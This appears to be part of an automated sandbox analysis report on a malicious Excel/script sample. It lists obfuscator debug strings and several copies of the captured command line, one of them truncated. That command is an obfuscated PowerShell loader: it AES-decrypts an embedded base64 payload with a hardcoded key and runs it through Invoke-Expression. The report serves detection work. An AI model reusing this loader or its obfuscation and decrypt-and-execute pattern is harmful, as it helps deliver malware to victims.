Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumFieldsWithName source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMemberRefs source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.ResolveTypeRef source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SaveToStream source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMethodSemantics source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetTypeDefProps source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindMethod source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetNestedClassProps source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeletePinvokeMap source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.GetTokenFromTypeSpec source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetMethodImplFlags source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetPinvokeMap source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetPinvokeMap source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumSignatures source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetFieldMarshal source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumUserStrings source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetRVA source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefinePermissionSet source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetMethodProps source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetPropertyProps source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetUserString source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetInterfaceImplProps source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetFieldMarshal source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineTypeDef source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumTypeDefs source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineImportMember source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumInterfaceImpls source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMemberProps source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineImportType source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.GetTokenFromSig source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: System.Collections.Generic.IEnumerable<dnlib.DotNet.Pdb.PdbScope>.GetEnumerator source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumEvents source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetParamForMethodIndex source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineField source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethodsWithName source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.IsGlobal source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetEventProps source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: H:\New Private Panell Src 3.0 New\New Private Panell Src 3.0 2025\New Private Panell Src 3.0\dnlib-fuscator-master win7\src\obj\Debug\dnlib.pdb source: powershell.exe, 0000000A.00000002.437191072.0000000003409000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.440136347.0000000006230000.00000004.08000000.00040000.00000000.sdmp

Source: ~DFE4D87C1F83611F19.TMP.0.dr

Initial sample: OLE indicators vbamacros = False

Source: AWD 490104998518.xls

Initial sample: OLE indicators encrypted = True

Data Obfuscation

Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI68766530954276373206247047974663CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIdSLZBgRjPNZ/qocg/lH2aZHZ5Jl+3cjSG1p/+zzQRClxM6ERqs615j4oDskIGVeU9U0hKzWE2qLRhN3w3oPnP9D3zRR0BjWDDOAHuyfLsijMtAivmVqnjEhi75GYn/731w2sw2LX9rePUu8MuzZBPukpDJjP40wnUy5RXUPJoZQj2IJHLLwPLeWAVLyYam2ryxj+aZ147db0X48wxpHj1wzIXORWhGABOaWwaSlaHL3gmVyt1aXV7FBFES5QqtebxGfvLhl4iUZNYV88W0LKeIoUGNbEQFkzf13DC0Iby1tFcGdBD33I0Q+W2Tvg+5qcSyDt39hGQc+cPQJW6i+zS5PdayxMRwfx6SHZXH4Wqvwv1PSLLBL05m+vUyyZdWHee1jJZK1IYpJ679FIiTnjUqbP5xka/o9mFQDN8rr6+t3w5UZ8/qZmHx1mVRoEQQE9sfqxRdM4XzLD6zM0xvTyXDiPtOrir9Y56WYwILgvowZC7rtlCr5vnoqSqCeZ+TBUh3I8J+drjXQv5Li4WPY7XJzFYZPaPMsWDQEjc1bMNXhVQ0Ukf2iM7FfM7k6Nze4qwdaBy3eAeQAbrjji8e0i57J7CMED36TsJyhF0u03e/7/3gWxHIosnVfstQl9YchNNE0mcQpHtSiF3PXt9EE9Ulz//7YH3sp7ZQKed24Zy6boPjqU9Ryt/0qHB2CgOA9dDgikPiavuiSSZwbmMVP3wzAzgXN3nBCy0PstnP16FjfPsLfXhDA3NS1dtwaJQ0liDeM77UG2Ki38eJ/rruKe9qgo+FuHe0xchT8/Wf5NVYoxrcASiFgam2A+WOxlafeNmbR8szgcpCGnpZl/NgN6OssaRDn26lO+fP2jr2C/5Yc3McAo0Ld51WdEwKzWP8b1W57wqS7gMMfAyZ4qaXwBt0DPwXCDT4lDwrWOtFJtHKkrSrB29mx+ZSiTGJd4zwLYP4xGKn+mDlT0rPmQDAZM0Hkrfyo5dxlRZHsLsW0XCN3EuXI+4932vGm0QSE+1K4quce5wQtHb1zoJKShclZ3BMUvCdOwmEdkxUQXKG7DtjDx8uVaNsAElTRbqENfoYu9eWmyI9LzKR9oZNPS+COhZr5JHq9hpvTMcsOldartIGHZY80SQMOSaGVIgdyoyJGpNwdUZLlDYe8NYQDaAJUhcq27lHvZkYQVajhD3kDVJQbOIf1lYyaY52Jn1dHnhXGk0nluzd0ilXEHvzPHLaVeocoCd50UQJ+q1KgXN7gS2k+ZoaXgaMSw9ouBoVyLc2V04RD098/AS2dEb2//QHWXG3F0c50KqYP4QoW398pQnbg4M4pJz0UIDlflEkkDinQrkxq/DRVpVBWz7wRUbde9F6yxo/vtkM0dGIR+Udwiy0EWC9HpU+MKlp45fqh0Pc7VyS3cHOu8E4FMallUVE4yfg==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cReP
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI68766530954276373206247047974663CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIdSLZBgRjPNZ/qocg/lH2aZHZ5Jl+3cjSG1p/+zzQRClxM6ERqs615j4oDskIGVeU9U0hKzWE2qLRhN3w3oPnP9D3zRR0BjWDDOAHuyfLsijMtAivmVqnjEhi75GYn/731w2sw2LX9rePUu8MuzZBPukpDJjP40wnUy5RXUPJoZQj2IJHLLwPLeWAVLyYam2ryxj+aZ147db0X48wxpHj1wzIXORWhGABOaWwaSlaHL3gmVyt1aXV7FBFES5QqtebxGfvLhl4iUZNYV88W0LKeIoUGNbEQFkzf13DC0Iby1tFcGdBD33I0Q+W2Tvg+5qcSyDt39hGQc+cPQJW6i+zS5PdayxMRwfx6SHZXH4Wqvwv1PSLLBL05m+vUyyZdWHee1jJZK1IYpJ679FIiTnjUqbP5xka/o9mFQDN8rr6+t3w5UZ8/qZmHx1mVRoEQQE9sfqxRdM4XzLD6zM0xvTyXDiPtOrir9Y56WYwILgvowZC7rtlCr5vnoqSqCeZ+TBUh3I8J+drjXQv5Li4WPY7XJzFYZPaPMsWDQEjc1bMNXhVQ0Ukf2iM7FfM7k6Nze4qwdaBy3eAeQAbrjji8e0i57J7CMED36TsJyhF0u03e/7/3gWxHIosnVfstQl9YchNNE0mcQpHtSiF3PXt9EE9Ulz//7YH3sp7ZQKed24Zy6boPjqU9Ryt/0qHB2CgOA9dDgikPiavuiSSZwbmMVP3wzAzgXN3nBCy0PstnP16FjfPsLfXhDA3NS1dtwaJQ0liDeM77UG2Ki38eJ/rruKe9qgo+FuHe0xchT8/Wf5NVYoxrcASiFgam2A+WOxlafeNmbR8szgcpCGnpZl/NgN6OssaRDn26lO+fP2jr2C/5Yc3McAo0Ld51WdEwKzWP8b1W57wqS7gMMfAyZ4qaXwBt0DPwXCDT4lDwrWOtFJtHKkrSrB29mx+ZSiTGJd4zwLYP4xGKn+mDlT0rPmQDAZM0Hkrfyo5dxlRZHsLsW0XCN3EuXI+4932vGm0QSE+1K4quce5wQtHb1zoJKShclZ3BMUvCdOwmEdkxUQXKG7DtjDx8uVaNsAElTRbqENfoYu9eWmyI9LzKR9oZNPS+COhZr5JHq9hpvTMcsOldartIGHZY80SQMOSaGVIgdyoyJGpNwdUZLlDYe8NYQDaAJUhcq27lHvZkYQVajhD3kDVJQbOIf1lYyaY52Jn1dHnhXGk0nluzd0ilXEHvzPHLaVeocoCd50UQJ+q1KgXN7gS2k+ZoaXgaMSw9ouBoVyLc2V04RD098/AS2dEb2//QHWXG3F0c50KqYP4QoW398pQnbg4M4pJz0UIDlflEkkDinQrkxq/DRVpVBWz7wRUbde9F6yxo/vtkM0dGIR+Udwiy0EWC9HpU+MKlp45fqh0Pc7VyS3cHOu8E4FMallUVE4yfg==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cReP			Jump to behavior

Suspicious powershell command line found

Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI68766530954276373206247047974663CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIdSLZBgRjPNZ/qocg/lH2aZHZ5Jl+3cjSG1p/+zzQRClxM6ERqs615j4oDskIGVeU9U0hKzWE2qLRhN3w3oPnP9D3zRR0BjWDDOAHuyfLsijMtAivmVqnjEhi75GYn/731w2sw2LX9rePUu8MuzZBPukpDJjP40wnUy5RXUPJoZQj2IJHLLwPLeWAVLyYam2ryxj+aZ147db0X48wxpHj1wzIXORWhGABOaWwaSlaHL3gmVyt1aXV7FBFES5QqtebxGfvLhl4iUZNYV88W0LKeIoUGNbEQFkzf13DC0Iby1tFcGdBD33I0Q+W2Tvg+5qcSyDt39hGQc+cPQJW6i+zS5PdayxMRwfx6SHZXH4Wqvwv1PSLLBL05m+vUyyZdWHee1jJZK1IYpJ679FIiTnjUqbP5xka/o9mFQDN8rr6+t3w5UZ8/qZmHx1mVRoEQQE9sfqxRdM4XzLD6zM0xvTyXDiPtOrir9Y56WYwILgvowZC7rtlCr5vnoqSqCeZ+TBUh3I8J+drjXQv5Li4WPY7XJzFYZPaPMsWDQEjc1bMNXhVQ0Ukf2iM7FfM7k6Nze4qwdaBy3eAeQAbrjji8e0i57J7CMED36TsJyhF0u03e/7/3gWxHIosnVfstQl9YchNNE0mcQpHtSiF3PXt9EE9Ulz//7YH3sp7ZQKed24Zy6boPjqU9Ryt/0qHB2CgOA9dDgikPiavuiSSZwbmMVP3wzAzgXN3nBCy0PstnP16FjfPsLfXhDA3NS1dtwaJQ0liDeM77UG2Ki38eJ/rruKe9qgo+FuHe0xchT8/Wf5NVYoxrcASiFgam2A+WOxlafeNmbR8szgcpCGnpZl/NgN6OssaRDn26lO+fP2jr2C/5Yc3McAo0Ld51WdEwKzWP8b1W57wqS7gMMfAyZ4qaXwBt0DPwXCDT4lDwrWOtFJtHKkrSrB29mx+ZSiTGJd4zwLYP4xGKn+mDlT0rPmQDAZM0Hkrfyo5dxlRZHsLsW0XCN3EuXI+4932vGm0QSE+1K4quce5wQtHb1zoJKShclZ3BMUvCdOwmEdkxUQXKG7DtjDx8uVaNsAElTRbqENfoYu9eWmyI9LzKR9oZNPS+COhZr5JHq9hpvTMcsOldartIGHZY80SQMOSaGVIgdyoyJGpNwdUZLlDYe8NYQDaAJUhcq27lHvZkYQVajhD3kDVJQbOIf1lYyaY52Jn1dHnhXGk0nluzd0ilXEHvzPHLaVeocoCd50UQJ+q1KgXN7gS2k+ZoaXgaMSw9ouBoVyLc2V04RD098/AS2dEb2//QHWXG3F0c50KqYP4QoW398pQnbg4M4pJz0UIDlflEkkDinQrkxq/DRVpVBWz7wRUbde9F6yxo/vtkM0dGIR+Udwiy0EWC9HpU+MKlp45fqh0Pc7VyS3cHOu8E4FMallUVE4yfg==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cReP
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI68766530954276373206247047974663CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIdSLZBgRjPNZ/qocg/lH2aZHZ5Jl+3cjSG1p/+zzQRClxM6ERqs615j4oDskIGVeU9U0hKzWE2qLRhN3w3oPnP9D3zRR0BjWDDOAHuyfLsijMtAivmVqnjEhi75GYn/731w2sw2LX9rePUu8MuzZBPukpDJjP40wnUy5RXUPJoZQj2IJHLLwPLeWAVLyYam2ryxj+aZ147db0X48wxpHj1wzIXORWhGABOaWwaSlaHL3gmVyt1aXV7FBFES5QqtebxGfvLhl4iUZNYV88W0LKeIoUGNbEQFkzf13DC0Iby1tFcGdBD33I0Q+W2Tvg+5qcSyDt39hGQc+cPQJW6i+zS5PdayxMRwfx6SHZXH4Wqvwv1PSLLBL05m+vUyyZdWHee1jJZK1IYpJ679FIiTnjUqbP5xka/o9mFQDN8rr6+t3w5UZ8/qZmHx1mVRoEQQE9sfqxRdM4XzLD6zM0xvTyXDiPtOrir9Y56WYwILgvowZC7rtlCr5vnoqSqCeZ+TBUh3I8J+drjXQv5Li4WPY7XJzFYZPaPMsWDQEjc1bMNXhVQ0Ukf2iM7FfM7k6Nze4qwdaBy3eAeQAbrjji8e0i57J7CMED36TsJyhF0u03e/7/3gWxHIosnVfstQl9YchNNE0mcQpHtSiF3PXt9EE9Ulz//7YH3sp7ZQKed24Zy6boPjqU9Ryt/0qHB2CgOA9dDgikPiavuiSSZwbmMVP3wzAzgXN3nBCy0PstnP16FjfPsLfXhDA3NS1dtwaJQ0liDeM77UG2Ki38eJ/rruKe9qgo+FuHe0xchT8/Wf5NVYoxrcASiFgam2A+WOxlafeNmbR8szgcpCGnpZl/NgN6OssaRDn26lO+fP2jr2C/5Yc3McAo0Ld51WdEwKzWP8b1W57wqS7gMMfAyZ4qaXwBt0DPwXCDT4lDwrWOtFJtHKkrSrB29mx+ZSiTGJd4zwLYP4xGKn+mDlT0rPmQDAZM0Hkrfyo5dxlRZHsLsW0XCN3EuXI+4932vGm0QSE+1K4quce5wQtHb1zoJKShclZ3BMUvCdOwmEdkxUQXKG7DtjDx8uVaNsAElTRbqENfoYu9eWmyI9LzKR9oZNPS+COhZr5JHq9hpvTMcsOldartIGHZY80SQMOSaGVIgdyoyJGpNwdUZLlDYe8NYQDaAJUhcq27lHvZkYQVajhD3kDVJQbOIf1lYyaY52Jn1dHnhXGk0nluzd0ilXEHvzPHLaVeocoCd50UQJ+q1KgXN7gS2k+ZoaXgaMSw9ouBoVyLc2V04RD098/AS2dEb2//QHWXG3F0c50KqYP4QoW398pQnbg4M4pJz0UIDlflEkkDinQrkxq/DRVpVBWz7wRUbde9F6yxo/vtkM0dGIR+Udwiy0EWC9HpU+MKlp45fqh0Pc7VyS3cHOu8E4FMallUVE4yf